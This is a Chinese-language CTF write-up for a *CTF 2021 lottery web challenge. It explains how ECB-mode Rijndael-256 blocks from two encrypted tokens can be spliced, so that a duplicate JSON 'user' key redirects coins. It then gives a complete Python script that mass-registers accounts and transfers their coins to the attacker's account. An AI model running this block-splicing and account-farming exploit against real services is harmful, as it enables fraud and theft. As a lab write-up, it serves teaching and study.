Start
给了部分源码,先理一遍这个站的逻辑,
首先index.html中是一个登录框,该登录框可以任意注册:
每个新用户有coin:300
,可以通过买彩票进行赚钱,赚够9999,即可买到flag:
然后查看源码,找到买彩票的关键代码:
app.Http.Controllers.LotteryController.php 28 line:
$lottery = Lottery::create(['coin' => 100 - floor(sqrt(random_int(1, 10000)))]);
很明显,通过买彩票赚coins
只会越来越少,只能另谋出路
bp,抓包,尝试购买彩票:
第一个包:
这里api_token
就是每个账户的身份验证,
买完之后返回enc:
app.Http.Controller.LotteryController 34 line:
$enc = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, env('LOTTERY_KEY'), $serilized, MCRYPT_MODE_ECB));
这里enc的加密是通过mcrypt进行RIJNDAEL_256的ECB模式加密,加密的key为服务器上的一个LOTTERY_KEY
的环境变量的值,所以这个key看样子是无法获取到的,那么把目标转移到ECB模式的缺陷下,
首先对于ECB的加密是分组进行加密的,然后是rijndael_256的加密是以32字节为一组的
对于$serialized
:
$serilized = json_encode([
'lottery' => $lottery->uuid,
'user' => $user->uuid,
'coin' => $lottery->coin,
]);
先往下看到第二个包:
这个包只是解析了enc,将enc的值解析为info对象
app.Http.Controller.LotteryController 41 line:
public function info(Request $request)
{
return [
'info' => $this->decrypt($request->input('enc')),
];
}
可以看到在这个位置调用了私有方法decrypt:
app.Http.Controller.LotteryController 78 line:
private function decrypt($enc)
{
$serilized = trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, env('LOTTERY_KEY'), base64_decode($enc), MCRYPT_MODE_ECB));
$info = json_decode($serilized);
if (empty($info)) {
throw new Exception('invalid lottery');
}
return $info;
}
利用泄露的info接口生成的info对象构造json_encode:
$serilized = json_encode([
"lottery" => "28ee49a1-e423-4d0e-a372-82779cb4d3b6",
"user" => "55ade85f-a142-4268-9c6c-7c890b604628",
"coin" => 24,
]);
echo $serialized;
可以得到:
{"lottery":"28ee49a1-e423-4d0e-a372-82779cb4d3b6","user":"55ade85f-a142-4268-9c6c-7c890b604628","coin":24}
32个字节为一组分组得到(不足的补0):
{"lottery":"28ee49a1-e423-4d0e-a
372-82779cb4d3b6","user":"55ade8
5f-a142-4268-9c6c-7c890b604628",
"coin":24}0000000000000000000000
总共可以分为4
组,得到的结果就是128
个字节的数据,将生成的enc
通过base64
解码,刚好是128
个字节:
观察分组后的每一组数据,可以发现除了最后一组,其他组都是无法完全控制的,也就是说,lottery和user都不可控,注意到加密的时候用到了json_encode
$serilized = json_encode([
"lottery" => "28ee49a1-e423-4d0e-a372-82779cb4d3b6",
"user" => "55ade85f-a142-4268-9c6c-7c890b604628",
"user" => "test",
"coin" => 24,
]);
echo $serilized;
echo "<br>";
var_dump(json_decode($serilized));
说明,在json_encode()
的时候,如果键同名,位置靠后的键值会覆盖位置靠前的键值,那么就可以通过覆盖前面的user值,进行重放攻击,测试:
enc1:
{"lottery":"28ee49a1-e423-4d0e-a 372-82779cb4d3b6","user":"55ade8 5f-a142-4268-9c6c-7c890b604628", "coin":24}
enc2:
{"lottery":"3457f8f7-63c4-47b4-a 514-5bbfff6bd205","user":"a55b9f 5d-5c37-46ab-a0f2-e2a73e62498b", "coin":9999}
将enc1覆盖为enc2的userid:
{"lottery":"28ee49a1-e423-4d0e-a 372-82779cb4d3b6","user":"55ade8372-82779cb4d3b6","user":"55ade8514-5bbfff6bd205","user":"a55b9f5d-5c37-46ab-a0f2-e2a73e62498b", "coin":9999}
前面的user为:"user":"55ade8372-82779cb4d3b6"
,不重要,json_encode
调用的时候就已经将该值覆盖了。
继续往下看第三个包:
这里我们发现,如果不点击charge
的时候,你的钱是不会加到现在的账户上的,而是需要通过点击charge
之后,才会将coin
值加到对应的userid
上
那么该位置应该就是漏洞的利用点,通过这个charge函数以及前面说到的覆盖userid的方法将别人的coin不断的输送到我的userid上,
接下来就是构造payload
进行循环了,需要确定好一点,对于每个用户,其token
以及uuid
在创建账户的时候就已经确定了,也就是说每个token
和uuid
都对应唯一的用户,这样就可以通过token
或者uuid
确定需要charge
的对象了。
exp.py(该exp改自星盟CTF战队的exp)
from base64 import b64encode as be
from base64 import b64decode as bd
import requests as req
import random
import string
import json
from urllib.parse import quote
url = 'http://52.149.144.45:8080'
my_userid = 'eccf5644-b530-49c5-8203-051b4513d96f'
my_enc = b'6eCIha3RKgcFpe2eFd6HJUK9Lob9PkInGgz+mB3jiH41e1fbL368t8s9svcCP1zjan8G8X\/HkAdCk18fZjYTWVlweXeUei4\/OZimnuVYcuLjsnlDHHQPYdhoweu7dEdgxhM49mxRLoJBoYZf\/RWYUQGtDLpwBs66+iCUvumfyqE='
cookie = {
'api_token':'GrJQBeW0x59Ss1XLu5CArKutkJYUVmfJ'
}
def get_random_username():
return ''.join(random.sample(string.ascii_letters + string.digits, 12))
def register():
username = get_random_username()
data = {
'username': username,
'password': '123456'
}
res = req.post(url=url+'/user/register', data=data)
if 'duplicate' in res.text:
return 1
return username
def login(username):
data = {
'username': username,
'password': '123456'
}
res = req.post(url=url+'/user/login', data=data)
d = json.loads(res.text)
return d['user']['api_token']
def info(api_token):
res = req.get(url + "/user/info?api_token=" + api_token)
d = json.loads(res.text)
print('uuid: '+d['user']['uuid'])
def buy(api_token):
data = {
'api_token': api_token
}
res = req.post(url=url+'/lottery/buy', data=data)
return json.loads(res.text)['enc']
def get_enc(enc):
i = bd(enc)
ii = bd(my_enc)
enc3 = be(i[:64] + ii[32:])
# print('enc: ', end='')
# print(quote(enc3))
return enc3
def charge(enc):
data = {
'user': my_userid,
'coin': 51,
'enc': enc
}
res = req.post(url=url+'/lottery/charge', data=data)
if 'invalid' in res.text:
return False
return True
if __name__ == '__main__':
while True:
username = register()
if username == 1:
continue
api_token = login(username)
info(api_token)
enc = get_enc(buy(api_token))
if charge(enc):
print('True')
else:
print('False')
经过n秒之后:
最终:
参考文章:*CTF 2021 writeup by 星盟CTF战队
这道题当时写的时候并没有想到可以这样覆盖,json_decode
的位置也是一直绕不过去,一直在蹲writeup,如今writeup终于出来了,感谢星盟的师傅醍醐灌顶。